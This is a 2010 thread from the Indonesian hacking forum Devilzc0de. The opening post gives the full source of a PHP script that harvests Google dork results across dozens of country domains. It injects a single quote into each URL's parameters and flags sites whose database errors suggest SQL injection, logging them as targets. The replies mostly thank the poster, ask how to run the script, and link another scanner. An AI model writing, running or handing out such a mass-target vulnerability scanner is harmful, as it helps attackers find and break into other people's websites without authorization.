Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 06-20-2013, 04:36 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Tools v
« Previous 1 ... 19 20 21 22 23 Next »

Scrift Php Scanner SQLI Injection

Home General Computer Multimedia Business Lounge

Pages (2): 1 2 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
Scrift Php Scanner SQLI Injection
03-25-2010, 02:43 PM
Post: #1
oela
Unregistered
 
Scrift Php Scanner SQLI Injection
Code:
<?php
set_time_limit(0);
error_reporting(0);
ini_set('memory_limit', '128M');
if($argc < 2) {
    banner();
    print "[?] Usage: php opensource.php --dork <dork>\r\n";
    print "[!] Example: php opensource.php  --dork inurl:\"product.php?id=\"";
} elseif(($argc > 1) && ($argv[1] == "--dork") && (isset($argv[2]))) {
    $dork = $argv[2];
    $googles = array("ZM", "ZA", "YU", "VU", "VN", "VG", "VE", "UY", "UK", "UA", "TZ", "TW", "TR", "TH", "SN", "SK", "SI", "SG", "SE", "SA", "RO", "QA", "PY", "PT", "PR", "PK", "PH", "PE", "PA", "OM", "NZ", "NO", "NL", "NI", "NG", "NA", "MY", "MX", "MV", "MU", "MT", "MN", "MA", "LV", "LU", "LT", "LK", "LI", "LB", "LA", "KZ", "KW", "KG", "KE", "JO", "JM", "IT", "IN", "IL", "IE", "ID", "HU", "HR", "HK", "GT", "GR", "GP", "GL", "GE", "FR", "FI", "ES", "EG", "EC", "DZ", "DO", "DK", "DE", "CU", "CR", "CO", "CL", "CH", "CA", "BZ", "BY", "BW", "BS", "BR", "BO", "BN", "BH", "BG", "BE", "BD", "BA", "AU", "AT", "AR", "AM", "AG", "AE", "");
    foreach($googles as $google) {
        $limit = 2000;
        $page = 100;
        $engine = "http://www.google.com/cse?cx=013269018370076798483:gg7jrrhpsy4&cof=FORID:1&q=".$dork."&num=100&start=".$page."&meta=cr%3Dcountry".$google;
        if($google == "") {
            $engine = "http://www.google.com/cse?cx=013269018370076798483:gg7jrrhpsy4&cof=FORID:1&q=".$dork."&num=100&start=".$page;
        }
        print "\r\n\r\n[+] Scanning ".$dork." with Google ".$google."\r\n\r\n";
        while($page <= $limit) {
            $hasilz = split("<a href=", FetchURL($engine));
            foreach($hasilz as $hasilx) {
                if(preg_match("/(.*) class=l/", $hasilx, $hasil)) {
                    $logging = fopen("vulns.txt", "a+");
                    $logginx = fopen("scanlog.txt", "a+");
                    $domain = split("/", $hasil[1]);
                    if((!ereg($domain[2], file_get_contents("vulns.txt"))) && (!ereg($domain[2], file_get_contents("scanlog.txt"))) ){
                        if (ereg("^http", str_replace("\"", "", $hasil[1]))){
                            $hajar = FetchURL(str_replace("=", "='", str_replace("\"", "", $hasil[1])));
                            if(preg_match("/You have an error in your SQL','Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function','Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", $hajar)) {
                                print ":D ".str_replace("\"", "", $hasil[1])." <--- Possible SQLi vulnerable!\r\n";
                                fwrite($logging, str_replace("\"", "", $hasil[1])."\r\n");
                                fclose($logging);
                            } else {
                                print ":( ".str_replace("\"", "", $hasil[1])." <--- No error found!\r\n";
                                fwrite($logginx, str_replace("\"", "", $hasil[1])."\r\n");
                                fclose($logginx);
                            }
                        }
                    }
                }
            }
            $page = $page + 100;
        }
        print "\r\n\r\n[+] Done!\r\n\r\n";
    }
} else {
    banner();
    print "[?] Usage: php opensource.php --dork <dork>\r\n";
    print "[!] Example: php opensource.php  --dork inurl:\"product.php?id=\"";
}
function banner(){
?>

<?php
}
function FetchURL($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/3.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $data = curl_exec($ch);
    if(!$data) {
        return false;
    }
    return $data;
}
?>
Quote this message in a reply
03-25-2010, 02:52 PM
Post: #2
T3mp3 Offline
0%
***
Posts: 370
Joined: Dec 2009
Reputation: 10
RE: Scrift Php Scanner SQLI Injection
Nyicip dl bang peti..seneng
Suwun..pinter
Find all posts by this user
Quote this message in a reply
03-25-2010, 02:54 PM
Post: #3
sunawan Offline
./Devilz Officer
Posts: 120
Joined: Jan 2010
Reputation: 2
RE: Scrift Php Scanner SQLI Injection
mantaps dah superman peti.....hihihihihi

ijin nyoba dulu yha
Find all posts by this user
Quote this message in a reply
03-25-2010, 05:45 PM
Post: #4
cancer Offline
./Devilz Advisor
Posts: 643
Joined: Dec 2009
Reputation: 10
RE: Scrift Php Scanner SQLI Injection
izin nyoba ah om...
Find all posts by this user
Quote this message in a reply
03-25-2010, 07:31 PM
Post: #5
Cyber-Kiie Offline
./Devilz Officer
Posts: 93
Joined: Feb 2010
Reputation: 1
RE: Scrift Php Scanner SQLI Injection
ikud nyoba schrift nya om :)
Find all posts by this user
Quote this message in a reply
03-25-2010, 10:10 PM
Post: #6
bumble_be Offline
Sibuk Mencari duit
***
Posts: 421
Joined: Jan 2010
Reputation: 7
RE: Scrift Php Scanner SQLI Injection
bang cara pk ny gmn lewat cmd ato lewat rowser
Find all posts by this user
Quote this message in a reply
03-25-2010, 11:55 PM
Post: #7
note Offline
DC Security terganteng
*****
DC Security Grup
Posts: 1,280
Joined: Feb 2010
Reputation: 13
RE: Scrift Php Scanner SQLI Injection
woke save dulu,tinggal cara makenya nie????
Visit this user's website Find all posts by this user
Quote this message in a reply
03-25-2010, 11:58 PM
Post: #8
LOL1ds Offline
./Devilz Officer
Posts: 70
Joined: Mar 2010
Reputation: 0
RE: Scrift Php Scanner SQLI Injection
Cara make-nya gimna mas momod..??
maap ane NubitoL..
Find all posts by this user
Quote this message in a reply
03-26-2010, 12:40 AM
Post: #9
n3tm45t3r Offline
./Devilz 1st Cadet
Posts: 1
Joined: Mar 2010
Reputation: 0
RE: Scrift Php Scanner SQLI Injection
http://ngaceng-a.biz/xc0desqlscan.v2.5.txt
Find all posts by this user
Quote this message in a reply
03-26-2010, 12:45 AM
Post: #10
ping Offline
anak desa
Posts: 288
Joined: Mar 2010
Reputation: 6
RE: Scrift Php Scanner SQLI Injection
cara njalaninya gimana kk
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (2): 1 2 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  XCode SQLI/LFI/XSS Vulnurable & webshell Scanner poni 62 1,894 05-08-2013 08:53 PM
Last Post: febritecno
  OWASP Zed Attack Proxy - Web Vulnerability Scanner ubuntux 14 210 05-02-2013 06:39 AM
Last Post: ubuntux
Bug WebCruiser – Web Vulnerability Scanner V2.6.1 [key] neOnSHiFT 4 163 04-23-2013 05:39 PM
Last Post: panjul666
  v3n0m ( SQL,LFI,XSS Scanner ) j0ck3r 13 407 01-26-2013 11:30 AM
Last Post: Rc0deR
Brick k4mpr3t Dork Scanner k4mpr3t 17 462 01-02-2013 03:18 AM
Last Post: bat0sai
  [SHARE] SQL Injection Vulnerability Scanner + Dork List [Perl] ./r14nul 12 611 11-30-2012 04:05 PM
Last Post: hitheir
Wink VEGA BT5 (web rusak scanner) beg3nk newb1e 13 288 10-21-2012 06:58 AM
Last Post: Anonymous33
  [Solved]  Online SQL INJECTION Values Parser/Dumper DZ_agung 1 312 10-16-2012 03:36 PM
Last Post: 1st_N3iCs
  Bunny LFI Scanner & lafuzz Local File Incursion exploiter zuckerberg 4 160 09-19-2012 12:52 PM
Last Post: ylime19
  Dork Searcher [ SQLi Dork Scanner ] zuckerberg 6 260 09-12-2012 06:53 PM
Last Post: rendy_bomber

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 06-20-2013, 04:36 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE